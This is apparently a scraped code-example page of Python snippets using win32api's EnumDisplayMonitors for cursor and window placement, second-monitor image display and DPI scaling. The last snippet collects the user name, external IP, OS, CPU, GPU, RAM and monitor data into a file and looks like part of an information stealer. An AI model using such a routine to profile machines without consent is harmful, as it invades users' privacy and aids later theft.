Exemple #1
0
    def __call__(self, x=None, y=None, displayNumber=None, center=False):
        point = POINT()
        GetCursorPos(point)
        X = point.x
        Y = point.y
        mons = EnumDisplayMonitors(None, None)
        mons = [item[2] for item in mons]
        for mon in range(
                len(mons)):  # on what monitor (= mon) is the pointer ?
            m = mons[mon]
            if m[0] <= X and X <= m[2] and m[1] <= Y and Y <= m[3]:
                break
        if displayNumber is None:
            displayNumber = mon

        monitorDimensions = GetMonitorDimensions()
        try:
            displayRect = monitorDimensions[displayNumber]
        except IndexError:
            displayNumber = 0
            displayRect = monitorDimensions[displayNumber]
        if center:
            x = displayRect[2] / 2
            y = displayRect[3] / 2

        if x is None:
            x = X - mons[displayNumber][0]
        if y is None:
            y = Y - mons[displayNumber][1]

        x += displayRect[0]
        y += displayRect[1]
        SetCursorPos(x, y)
 def __call__(self, x, y, displayNumber=0):
     monitorDimensions = GetMonitorDimensions()
     try:
         displayRect = monitorDimensions[displayNumber]
     except IndexError:
         displayRect = monitorDimensions[0]
     rect = RECT()
     mons = EnumDisplayMonitors(None, None)
     mons = [item[2] for item in mons]
     for hwnd in GetTopLevelOfTargetWindows():
         GetWindowRect(hwnd, byref(rect))
         X = rect.left
         Y = rect.top
         for mon in range(len(mons)):
             if mons[mon][0] <= X and X <= mons[mon][2] and mons[mon][
                     1] <= Y and Y <= mons[mon][3]:
                 break
         if mon == len(mons):
             mon = 0
         if x is None:
             x = rect.left - mons[mon][0]
         if y is None:
             y = rect.top - mons[mon][1]
         x += displayRect[0]
         y += displayRect[1]
         MoveWindow(hwnd, x, y, rect.right - rect.left,
                    rect.bottom - rect.top, 1)
Exemple #3
0
def display_image(image, on_monitor=2):

    # Get monitors. Assuming that the slm is identified as monitor 2

    monitors = EnumDisplayMonitors()

    assert len(
        monitors) >= 2, "Less than 2 monitors detected, check display settings"

    # pixel location of second monitor

    x_loc, y_loc = monitors[on_monitor - 1][2][0], monitors[on_monitor -
                                                            1][2][1]

    # convert to uint8

    if image.dtype is not np.dtype('uint8'):
        print('\nNOTE: IMAGE IS NOT UINT8. CONVERTING TO UINT8\n')
        image = np.uint8(image)

    # Display image

    cv2.imshow("image", image)
    cv2.setWindowProperty("image", cv2.WND_PROP_FULLSCREEN,
                          cv2.WINDOW_FULLSCREEN)
    cv2.moveWindow("image", x_loc, y_loc)
def main():
    # get screen size info
    for monitor in EnumDisplayMonitors():
        info = GetMonitorInfo(monitor[0])
        if info['Flags'] == 1:
            break

    root = tk.Tk()
    gui = SauceFinder(root, info['Work'][2:])
    root.mainloop()
Exemple #5
0
def get_displays():
    """ Get display information and return width and height of desktop.

    :return: (tuple) width, height
    """
    all_displays = EnumDisplayMonitors(None)
    # format: [(<PyHANDLE:393965>, <PyHANDLE:0>, (0, 0, 2560, 1600)),
    #          (<PyHANDLE:51059905>, <PyHANDLE:0>, (2560, 0, 5120, 1440))]
    w, h = 0, 0
    for display in all_displays:
        r = display[2]  # get virtual screen box for each display
        w = r[2] if r[2] > w else w  # search for max right (width) coordinate
        h = r[3] if r[3] > h else h  # search for max bottom (height) coordinate
    return w, h
Exemple #6
0
def getMonitorScale():
    shcore = windll.shcore
    monitors = EnumDisplayMonitors()
    hresult = shcore.SetProcessDpiAwareness(PROCESS_PER_MONITOR_DPI_AWARE)
    #assert hresult == 0
    dpiX = c_uint()
    dpiY = c_uint()
    shcore.GetDpiForMonitor(monitors[0][0].handle, MDT_EFFECTIVE_DPI,
                            byref(dpiX), byref(dpiY))

    if dpiX.value == dpiY.value:
        dpi = 100 / 96 * dpiX.value
        return int(dpi)
    else:
        return 100
Exemple #7
0
    def __call__(self,
                 x=None,
                 y=None,
                 displayNumber=None,
                 center=False,
                 useAlternateMethod=False):
        point = POINT()
        GetCursorPos(point)
        X = point.x
        Y = point.y
        mons = EnumDisplayMonitors(None, None)
        mons = [item[2] for item in mons]
        for mon in range(len(mons)):  # on what monitor (= mon) is the cursor?
            m = mons[mon]
            if m[0] <= X and X <= m[2] and m[1] <= Y and Y <= m[3]:
                break
        if displayNumber is None:
            displayNumber = mon

        monitorDimensions = GetMonitorDimensions()
        try:
            displayRect = monitorDimensions[displayNumber]
        except IndexError:
            displayNumber = 0
            displayRect = monitorDimensions[displayNumber]
        if center:
            x = displayRect[2] / 2
            y = displayRect[3] / 2

        if x is None:
            x = X - mons[displayNumber][0]
        if y is None:
            y = Y - mons[displayNumber][1]

        x += displayRect[0]
        y += displayRect[1]
        if useAlternateMethod:
            x = x * 65535 / GetSystemMetrics(0)
            y = y * 65535 / GetSystemMetrics(1)
            mouse_event2(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE, x, y)
        else:
            SetCursorPos(x, y)
Exemple #8
0
import matplotlib.pyplot as plt
from matplotlib import cm
from win32api import EnumDisplayMonitors
import cv2

# Import functions and objects for slm_essentials
from slm_essentials import *

# Time code
import time
t0 = time.time()

############### ------ SLM parameters --------- #####################

# Get monitors
monitors = EnumDisplayMonitors()

# Get pixels of second monitor
pxl_x, pxl_y = (monitors[1][2][2] - monitors[1][2][0]), (monitors[1][2][3] -
                                                         monitors[1][2][1])

# SLM screen dimensions in mm
x_range, y_range = 15.8, 12

# Display one hologram or two?
two_display = False

if two_display is True:
    pxl_x = int(pxl_x / 2)
    x_range = x_range / 2
Exemple #9
0
    def set_fig_ratio(self, fig_ratio):
        if fig_ratio.screen_ratio_check:
            self.ratio_x = fig_ratio.ratio_x
            self.ratio_y = fig_ratio.ratio_y
        else:
            win8_higher_os_flag = False

            disp_x_size_pixel = GetSystemMetrics(0)
            disp_y_size_pixel = GetSystemMetrics(1)

            dpiX = ctypes.c_uint()
            dpiY = ctypes.c_uint()

            monitors = EnumDisplayMonitors()

            windows_version = platform().split('-')[1]
            if windows_version in ('10', '8'):
                win8_higher_os_flag = True
            elif int(windows_version) >= 8:
                win8_higher_os_flag = True

            if (len(monitors) == 1):
                monitor = monitors[0]
                if win8_higher_os_flag:
                    ctypes.windll.shcore.GetDpiForMonitor(
                        monitor[0].handle, 0, ctypes.byref(dpiX),
                        ctypes.byref(dpiY))

                    debug_print(f"Monitor (hmonitor: {monitor[0]}) = dpiX:\
                                {dpiX.value}, dpiY: {dpiY.value}")
            awareness = ctypes.c_int()

            if win8_higher_os_flag:
                shcore = ctypes.windll.shcore
                errorCode = shcore.GetProcessDpiAwareness(
                    0, ctypes.byref(awareness))
            else:
                errorCode = 1

            if errorCode != 0:
                debug_print("GetProcessDpiAwareness errorCode = %s" %
                            (errorCode))
            else:
                debug_print("GetProcessDpiAwareness = %s" % (awareness.value))
            ori_set_value = awareness.value

            if ori_set_value == 0:
                if win8_higher_os_flag:
                    # Set DPI Awareness  (Windows 10 and 8)
                    # errorCode = ctypes.windll.shcore.SetProcessDpiAwareness(2)
                    # errorCode = ctypes.windll.shcore.SetProcessDpiAwareness(1)
                    errorCode = ctypes.windll.shcore.SetProcessDpiAwareness(1)
                    # the argument is the awareness level, which can be 0, 1 or 2:
                else:  # bypass other windows
                    success = ctypes.windll.user32.SetProcessDPIAware()
                    if success:
                        errorCode = 0
                    else:
                        errorCode = 1

                if errorCode != 0:
                    debug_print("SetProcessDPIAware errorCode = %d" %
                                (errorCode))

            # monitors = EnumDisplayMonitors()

            # if (len(monitors) == 1):
            #     monitor = monitors[0]
            #     if win8_higher_os_flag:
            #         ctypes.windll.shcore.GetDpiForMonitor(monitor[0].handle, 0,
            #                                               ctypes.byref(dpiX),
            #                                               ctypes.byref(dpiY))

            #         debug_print(f"Monitor (hmonitor: {monitor[0]}) = dpiX:\
            #                     {dpiX.value}, dpiY: {dpiY.value}")

            if not self.screen_ratio_check:
                fig_ratio.ratio_x = float(
                    GetSystemMetrics(0) / disp_x_size_pixel)
                fig_ratio.ratio_y = float(
                    GetSystemMetrics(1) / disp_y_size_pixel)
                self.ratio_x = fig_ratio.ratio_x
                self.ratio_y = fig_ratio.ratio_y
                fig_ratio.screen_ratio_check = True
Exemple #10
0
def is_2nd_monitor_connected():
    return len(EnumDisplayMonitors()) >= 2
Exemple #11
0
    def __get_system_info(self):

        if self.statuses[1] is True:

            win = GetObject("winmgmts:root\\cimv2")

            os_info = win.ExecQuery("Select * from Win32_OperatingSystem")[0]
            cpu_info = win.ExecQuery("Select * from Win32_Processor")[0].Name
            gpu_info = win.ExecQuery("Select * from Win32_VideoController")[0].Name
            monitors_info = ", ".join(f"{monitor['Device'][4:]} {monitor['Monitor'][2]}x{monitor['Monitor'][3]}" for monitor in [GetMonitorInfo(monitor[0]) for monitor in EnumDisplayMonitors()])

            try:
                net_info = urlopen(Request(method="GET", url=self.config.IPUrl)).read().decode("utf-8")
            except:
                net_info = "Error"

            info = (
                f"User: {self.config.User}\n",
                f"IP: {net_info}\n",
                f"OS Name: {os_info.Name.split('|')[0]}\n",
                f"OS Version: {os_info.Version} {os_info.BuildNumber}\n",
                f"Monitors: {monitors_info}\n"
                f"CPU: {cpu_info}\n",
                f"GPU: {gpu_info}\n",
                f"RAM: {round(float(os_info.TotalVisibleMemorySize) / 1048576)} GB\n",
            )

            with open(rf"{self.storage_path}\{self.folder}\Configuration.txt", "a", encoding="utf-8") as system:

                for item in info:
                    system.write(item)

            system.close()